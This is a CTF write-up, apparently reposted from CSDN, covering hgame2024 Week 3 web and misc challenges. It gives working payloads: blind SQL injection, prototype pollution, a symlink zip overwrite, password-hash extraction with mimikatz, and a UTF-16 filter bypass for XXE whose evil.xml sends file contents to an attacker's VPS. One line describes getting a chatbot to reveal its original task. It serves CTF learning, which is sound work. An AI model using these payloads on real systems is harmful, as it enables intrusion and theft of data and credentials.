0


hgame2024 Week3 web&misc全wp

MISC

与ai聊天

问它你原本的任务是啥?

vmdk取证

开局拿到一个vmdk文件,要找密码,用7z打开到如下位置

然后取出system和SAM用于提取哈希,丢到mimikatz中去看看ntlm:

最后上cmd5来解密

image

简单的取证,不过前十个有红包

在上一题的桌面上有个图片

https://nc0.cdn.zkaq.cn/md/19233/ef9c4877e5c3bb22e15ace437941e67c_11129.jpg

然后使用VeraCrypt解密就出了

Blind Sql Injection

https://nc0.cdn.zkaq.cn/md/19233/05c13be98d90350094be60b8fde6c0d1_69671.png

看报文报错盲注,flag就是密码:

核心代码


/search.php?id=1-(ascii(substr((Select(reverse(group_concat(password)))From(F1naI1y)),44,1))%3E63)

如果说上面这串表达式为真,那么id=0,这就会触发报错。

反之如果表达式不同意则会正常显示内容。

于是就可以挨个推断出flag字符串的每一个ascii值,最后转成字符后反转就出了。

PS:不要用gpt做任何数学相关的题目,可以使用赛博厨子,被坑惨了

WEB

开局源码如下:


const express = require("express");

const axios = require("axios");

const bodyParser = require("body-parser");

const path = require("path");

const fs = require("fs");

const { v4: uuidv4 } = require("uuid");

const session = require("express-session");

const app = express();

const port = 3000;

const session_name = "my-webvpn-session-id-" + uuidv4().toString();

app.set("view engine", "pug");

app.set("trust proxy", false);

app.use(express.static(path.join(__dirname, "public")));

app.use(

  session({

    name: session_name,

    secret: uuidv4().toString(),

    secure: false,

    resave: false,

    saveUninitialized: true,

  })

);

app.use(bodyParser.json());

var userStorage = {

  username: {

    password: "password",

    info: {

      age: 18,

    },

    strategy: {

      "baidu.com": true,

      "google.com": false,

    },

  },

};

function update(dst, src) {

  for (key in src) {

    if (key.indexOf("__") != -1) {

      continue;

    }

    if (typeof src[key] == "object" && dst[key] !== undefined) {

      update(dst[key], src[key]);

      continue;

    }

    dst[key] = src[key];

  }

}

app.use("/proxy", async (req, res) => {

  const { username } = req.session;

  if (!username) {

    res.sendStatus(403);

  }

  let url = (() => {

    try {

      return new URL(req.query.url);

    } catch {

      res.status(400);

      res.end("invalid url.");

      return undefined;

    }

  })();

  if (!url) return;

  if (!userStorage[username].strategy[url.hostname]) {

    res.status(400);

    res.end("your url is not allowed.");

  }

  try {

    const headers = req.headers;

    headers.host = url.host;

    headers.cookie = headers.cookie.split(";").forEach((cookie) => {

      var filtered_cookie = "";

      const [key, value] = cookie.split("=", 1);

      if (key.trim() !== session_name) {

        filtered_cookie += `${key}=${value};`;

      }

      return filtered_cookie;

    });

    const remote_res = await (() => {

      if (req.method == "POST") {

        return axios.post(url, req.body, {

          headers: headers,

        });

      } else if (req.method == "GET") {

        return axios.get(url, {

          headers: headers,

        });

      } else {

        res.status(405);

        res.end("method not allowed.");

        return;

      }

    })();

    res.status(remote_res.status);

    res.header(remote_res.headers);

    res.write(remote_res.data);

  } catch (e) {

    res.status(500);

    res.end("unreachable url.");

  }

});

app.post("/user/login", (req, res) => {

  const { username, password } = req.body;

  if (

    typeof username != "string" ||

    typeof password != "string" ||

    !username ||

    !password

  ) {

    res.status(400);

    res.end("invalid username or password");

    return;

  }

  if (!userStorage[username]) {

    res.status(403);

    res.end("invalid username or password");

    return;

  }

  if (userStorage[username].password !== password) {

    res.status(403);

    res.end("invalid username or password");

    return;

  }

  req.session.username = username;

  res.send("login success");

});

// under development

app.post("/user/info", (req, res) => {

  if (!req.session.username) {

    res.sendStatus(403);

  }

  update(userStorage[req.session.username].info, req.body);

  res.sendStatus(200);

});

app.get("/home", (req, res) => {

  if (!req.session.username) {

    res.sendStatus(403);

    return;

  }

  res.render("home", {

    username: req.session.username,

    strategy: ((list)=>{

      var result = [];

      for (var key in list) {

        result.push({host: key, allow: list[key]});

      }

      return result;

    })(userStorage[req.session.username].strategy),

  });

});

// demo service behind webvpn

app.get("/flag", (req, res) => {

  if (

    req.headers.host != "127.0.0.1:3000" ||

    req.hostname != "127.0.0.1" ||

    req.ip != "127.0.0.1"

  ) {

    res.sendStatus(400);

    return;

  }

  const data = fs.readFileSync("/flag");

  res.send(data);

});

app.listen(port, '0.0.0.0', () => {

  console.log(`app listen on ${port}`);

});

发现这里的update函数可能存在原型链污染(赋值),但是这里过滤了__


function update(dst, src) {

  for (key in src) {

    if (key.indexOf("__") != -1) {

      continue;

    }

    if (typeof src[key] == "object" && dst[key] !== undefined) {

      update(dst[key], src[key]);

      continue;

    }

    dst[key] = src[key];

  }

}

//...

app.post("/user/info", (req, res) => {

  if (!req.session.username) {

    res.sendStatus(403);

  }

  update(userStorage[req.session.username].info, req.body);

  res.sendStatus(200);

});

不能用__proto__也可以用prototype构造payload

再看过滤规则:


if (!userStorage[username].strategy[url.hostname]) {

    res.status(400);

    res.end("your url is not allowed.");

  }

//...

app.get("/flag", (req, res) => {

  if (

    req.headers.host != "127.0.0.1:3000" ||

    req.hostname != "127.0.0.1" ||

    req.ip != "127.0.0.1"

  ) {

    res.sendStatus(400);

    return;

  }

  const data = fs.readFileSync("/flag");

  res.send(data);

});

结合/proxy部分的代码,就是要利用自己来访问127.0.0.1:3000/flag,这就需要污染userStorage[username].strategy,浅浅构造一个payload


{"constructor":{"prototype":{"strategy":{"127.0.0.1:3000/flag":"true"}}}}

https://nc0.cdn.zkaq.cn/md/19233/f341d91d0748fffddec99b308d222b49_84910.png

https://nc0.cdn.zkaq.cn/md/19233/2fe896f19695256db682e9fced9c601e_36751.png

改改:


{"constructor":{"prototype":{"127.0.0.1":{"127.0.0.1:3000/flag":"true"}}}}

如果直接点击链接的话就会访问

/proxy?url=http://127.0.0.1

回显unreachable

要手动补齐/proxy?url=http://127.0.0.1:3000/flag

就能正常访问了

Zero Link

一道值得细细评鉴的go史

先看route.go


package routes

import (

    "fmt"

    "html/template"

    "net/http"

    "os"

    "os/signal"

    "path/filepath"

    "zero-link/internal/config"

    "zero-link/internal/controller/auth"

    "zero-link/internal/controller/file"

    "zero-link/internal/controller/ping"

    "zero-link/internal/controller/user"

    "zero-link/internal/middleware"

    "zero-link/internal/views"

    "github.com/gin-contrib/sessions"

    "github.com/gin-contrib/sessions/cookie"

    "github.com/gin-gonic/gin"

)

func Run() {

    r := gin.Default()

    html := template.Must(template.New("").ParseFS(views.FS, "*"))

    r.SetHTMLTemplate(html)

    secret := config.Secret.SessionSecret

    store := cookie.NewStore([]byte(secret))

    r.Use(sessions.Sessions("session", store))

    api := r.Group("/api")

    {

        api.GET("/ping", ping.Ping)

        api.POST("/user", user.GetUserInfo)

        api.POST("/login", auth.AdminLogin)

        apiAuth := api.Group("")

        apiAuth.Use(middleware.Auth())

        {

            apiAuth.POST("/upload", file.UploadFile)

            apiAuth.GET("/unzip", file.UnzipPackage)

            apiAuth.GET("/secret", file.ReadSecretFile)

        }

    }

    frontend := r.Group("/")

    {

        frontend.GET("/", func(c *gin.Context) {

            c.HTML(http.StatusOK, "index.html", nil)

        })

        frontend.GET("/login", func(c *gin.Context) {

            c.HTML(http.StatusOK, "login.html", nil)

        })

        frontendAuth := frontend.Group("")

        frontendAuth.Use(middleware.Auth())

        {

            frontendAuth.GET("/manager", func(c *gin.Context) {

                c.HTML(http.StatusOK, "manager.html", nil)

            })

        }

    }

    quit := make(chan os.Signal)

    signal.Notify(quit, os.Interrupt)

    go func() {

        <-quit

        err := os.Remove(filepath.Join(".", "sqlite.db"))

        if err != nil {

            fmt.Println("Failed to delete sqlite.db:", err)

        } else {

            fmt.Println("sqlite.db deleted")

        }

        os.Exit(0)

    }()

    r.Run(":8000")

}

得到了/upload,/unzip,/secret等关键路径,根据实操必须是admin才能操作。

pt1,登录

再看user.go


if req.Username == "Admin" || req.Token == "0000" {

        c.JSON(http.StatusForbidden, UserInfoResponse{

            Code:    http.StatusForbidden,

            Message: "Forbidden",

            Data:    nil,

        })

        return

    }

    user, err := database.GetUserByUsernameOrToken(req.Username, req.Token)

    if err != nil {

        c.JSON(http.StatusInternalServerError, UserInfoResponse{

            Code:    http.StatusInternalServerError,

            Message: "Failed to get user",

            Data:    nil,

        })

        return

    }

database的GetUserByUsernameOrToken方法比较可疑,去看看sqlite.go


package database

import (

    "log"

    "zero-link/internal/config"

    "gorm.io/driver/sqlite"

    "gorm.io/gorm"

)

var db *gorm.DB

type User struct {

    gorm.Model

    Username string `gorm:"not null;column:username;unique"`

    Password string `gorm:"not null;column:password"`

    Token    string `gorm:"not null;column:token"`

    Memory   string `gorm:"not null;column:memory"`

}

func init() {

    databaseLocation := config.Sqlite.Location

    var err error

    db, err = gorm.Open(sqlite.Open(databaseLocation), &gorm.Config{})

    if err != nil {

        panic("Cannot connect to SQLite: " + err.Error())

    }

    err = db.AutoMigrate(&User{})

    if err != nil {

        panic("Failed to migrate database: " + err.Error())

    }

    users := []User{

        {Username: "Admin", Token: "0000", Password: "Admin password is here", Memory: "Keep Best Memory!!!"},

        {Username: "Taka", Token: "4132", Password: "newfi443543", Memory: "Love for pixel art."},

        {Username: "Tom", Token: "8235", Password: "ofeni3525", Memory: "Family is my treasure"},

        {Username: "Alice", Token: "1234", Password: "abcde12345", Memory: "Graduating from college"},

        {Username: "Bob", Token: "5678", Password: "fghij67890", Memory: "Winning a championship in sports"},

        {Username: "Charlie", Token: "9012", Password: "klmno12345", Memory: "Traveling to a foreign country for the first time"},

        {Username: "David", Token: "3456", Password: "pqrst67890", Memory: "Performing on stage in a theater production"},

        {Username: "Emily", Token: "7890", Password: "uvwxy12345", Memory: "Meeting my favorite celebrity"},

        {Username: "Frank", Token: "2345", Password: "zabcd67890", Memory: "Overcoming a personal challenge"},

        {Username: "Grace", Token: "6789", Password: "efghi12345", Memory: "Completing a marathon"},

        {Username: "Henry", Token: "0123", Password: "jklmn67890", Memory: "Becoming a parent"},

        {Username: "Ivy", Token: "4567", Password: "opqrs12345", Memory: "Graduating from high school"},

        {Username: "Jack", Token: "8901", Password: "tuvwx67890", Memory: "Starting my own business"},

        {Username: "Kelly", Token: "2345", Password: "yzabc12345", Memory: "Learning to play a musical instrument"},

        {Username: "Liam", Token: "6789", Password: "defgh67890", Memory: "Winning a scholarship for higher education"},

    }

    for _, user := range users {

        result := db.Create(&user)

        if result.Error != nil {

            panic("Failed to create user: " + result.Error.Error())

        }

    }

}

  

func GetUserByUsernameOrToken(username string, token string) (*User, error) {

    var user User

    query := db

    if username != "" {

        query = query.Where(&User{Username: username})

    } else {

        query = query.Where(&User{Token: token})

    }

    err := query.First(&user).Error

    if err != nil {

        log.Println("Cannot get user: " + err.Error())

        return nil, err

    }

    return &user, nil

}

直接请求发现被banned了

但是我们可以利用特性,当username和token为空时直接查询第一个:


{"code":200,"message":"Ok","data":{"ID":1,"CreatedAt":"2024-02-20T14:27:46.015838857Z","UpdatedAt":"2024-02-20T14:27:46.015838857Z","DeletedAt":null,"Username":"Admin","Password":"Zb77jbeoZkDdfQ12fzb0","Token":"0000","Memory":"Keep Best Memory!!!"}}

密码到手

pt2,读文件

file.go的/api/secret如下


func ReadSecretFile(c *gin.Context) {

    secretFilepath := "/app/secret"

    content, err := util.ReadFileToString(secretFilepath)

    if err != nil {

        c.JSON(http.StatusInternalServerError, FileResponse{

            Code:    http.StatusInternalServerError,

            Message: "Failed to read secret file",

            Data:    "",

        })

        return

    }

    secretContent, err := util.ReadFileToString(content)

    if err != nil {

        c.JSON(http.StatusInternalServerError, FileResponse{

            Code:    http.StatusInternalServerError,

            Message: "Failed to read secret file content",

            Data:    "",

        })

        return

    }

    c.JSON(http.StatusOK, FileResponse{

        Code:    http.StatusOK,

        Message: "Secret content read successfully",

        Data:    secretContent,

    })

}

分析代码,知道了访问/api/secret时,会返回/app/secret中的路径对应的文件内容

/app/secret:


/fake_flag

所以我们就是要覆盖/app/secret的内容为/flag就可以了。

再看看其他两个函数:


//file.go

func UploadFile(c *gin.Context) {

    file, err := c.FormFile("file")

    if err != nil {

        c.JSON(http.StatusBadRequest, FileResponse{

            Code:    http.StatusBadRequest,

            Message: "No file uploaded",

            Data:    "",

        })

        return

    }

    ext := filepath.Ext(file.Filename)

    if (ext != ".zip") || (file.Header.Get("Content-Type") != "application/zip") {

        c.JSON(http.StatusBadRequest, FileResponse{

            Code:    http.StatusBadRequest,

            Message: "Only .zip files are allowed",

            Data:    "",

        })

        return

    }

    filename := "/app/uploads/" + file.Filename

    if _, err := os.Stat(filename); err == nil {

        err := os.Remove(filename)

        if err != nil {

            c.JSON(http.StatusInternalServerError, FileResponse{

                Code:    http.StatusInternalServerError,

                Message: "Failed to remove existing file",

                Data:    "",

            })

            return

        }

    }

    err = c.SaveUploadedFile(file, filename)

    if err != nil {

        c.JSON(http.StatusInternalServerError, FileResponse{

            Code:    http.StatusInternalServerError,

            Message: "Failed to save file",

            Data:    "",

        })

        return

    }

    c.JSON(http.StatusOK, FileResponse{

        Code:    http.StatusOK,

        Message: "File uploaded successfully",

        Data:    filename,

    })

}

func UnzipPackage(c *gin.Context) {

    files, err := filepath.Glob("/app/uploads/*.zip")

    if err != nil {

        c.JSON(http.StatusInternalServerError, FileResponse{

            Code:    http.StatusInternalServerError,

            Message: "Failed to get list of .zip files",

            Data:    "",

        })

        return

    }

    for _, file := range files {

        cmd := exec.Command("unzip", "-o", file, "-d", "/tmp/")

        if err := cmd.Run(); err != nil {

            c.JSON(http.StatusInternalServerError, FileResponse{

                Code:    http.StatusInternalServerError,

                Message: "Failed to unzip file: " + file,

                Data:    "",

            })

            return

        }

    }

    c.JSON(http.StatusOK, FileResponse{

        Code:    http.StatusOK,

        Message: "Unzip completed",

        Data:    "",

    })

}

UnzipPackage这个函数有一点吸引了我的注意


cmd := exec.Command("unzip", "-o", file, "-d", "/tmp/")

这里就存在软连接解压漏洞,可以覆盖secret文件。

整两个压缩包,第一个是


ln -s /app /tmp/fakepath

zip --symlink 1.zip /tmp/fakepath

第二个


# 修改/app/secret内容为/flag

zip -r 2.zip /tmp/fakepath

传一次,访问一次/api/unzip

最后/api/secret拿到flag

VidarBox

关键代码在BackDoorController这个位置:


package org.vidar.controller;

  

import org.springframework.core.io.DefaultResourceLoader;

import org.springframework.stereotype.Controller;

import org.springframework.web.bind.annotation.GetMapping;

import org.springframework.web.bind.annotation.RequestMapping;

import org.springframework.web.bind.annotation.RequestParam;

import org.springframework.web.bind.annotation.ResponseBody;

import org.xml.sax.InputSource;

import org.xml.sax.SAXException;

import org.xml.sax.XMLReader;

import org.xml.sax.helpers.XMLReaderFactory;

import java.io.*;

@Controller

public class BackdoorController {

    private String workdir = "file:///non_exists/";

    private String suffix = ".xml";

    @RequestMapping("/")

    public String index() {

        return "index.html";

    }

    @GetMapping({"/backdoor"})

    @ResponseBody

    public String hack(@RequestParam String fname) throws IOException, SAXException {

        DefaultResourceLoader resourceLoader = new DefaultResourceLoader();

        byte[] content = resourceLoader.getResource(this.workdir + fname + this.suffix).getContentAsByteArray();

        if (content != null && this.safeCheck(content)) {

            XMLReader reader = XMLReaderFactory.createXMLReader();

            reader.parse(new InputSource(new ByteArrayInputStream(content)));

            return "success";

        } else {

            return "error";

        }

    }

    private boolean safeCheck(byte[] stream) throws IOException {

        String content = new String(stream);

        return !content.contains("DOCTYPE") && !content.contains("ENTITY") &&

                !content.contains("doctype") && !content.contains("entity");

    }

}

在这里发现了传参点fname


byte[] content = resourceLoader.getResource(this.workdir + fname +this.suffix).getContentAsByteArray();

然后根据下文xml的操作知道这是一个xxe漏洞但是做了过滤


    private boolean safeCheck(byte[] stream) throws IOException {

        String content = new String(stream);

        return !content.contains("DOCTYPE") && !content.contains("ENTITY") &&

                !content.contains("doctype") && !content.contains("entity");

    }

但是这里不知道fname该如何传参,于是本地起了个环境跑了一下,随便输点东西:


GET /backdoor?fname=../../../flag

发现这个报错有点意思:

显示的是ftp信息,说明它很有可能是以ftp传到在结合本题hint:

于是就在vps上起了一个ftp服务,传参:


../../../VPS-IP/xxe

有反应

于是起一个ftp服务器:


python3 -m pyftpdlib -p21
XXE读文件

有了ftpserver,接下来就该考虑如何构造xmlpayload了。

这里过滤了entity,doctype等关键字,于是可以使用utf-16转换绕过

先准备第一个utf8exploit.xml


<?xml version="1.0" encoding="utf-16be"?>

<!DOCTYPE data [

<!ENTITY % file SYSTEM "file:///flag">

<!ENTITY % dtd SYSTEM "http://VPS_IP/evil.xml">

%dtd; %all;

]>

<value>&send;</value>

转utf-16


cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml

准备evil.xml


<!ENTITY % all "<!ENTITY send SYSTEM 'http://VPS-IP/upload.php?file=%file;'>">

然后开启http服务发evil.xml


python -m http.sever 80

http://139.224.232.162:30148/backdoor?fname=../../8.134.221.106/utf16exploit

就可以收到flag了

标签: 前端 python

本文转载自: https://blog.csdn.net/weixin_45208145/article/details/136251474
版权归原作者 weixin_45208145 所有, 如有侵权,请联系我们删除。

“hgame2024 Week3 web&misc全wp”的评论:

还没有评论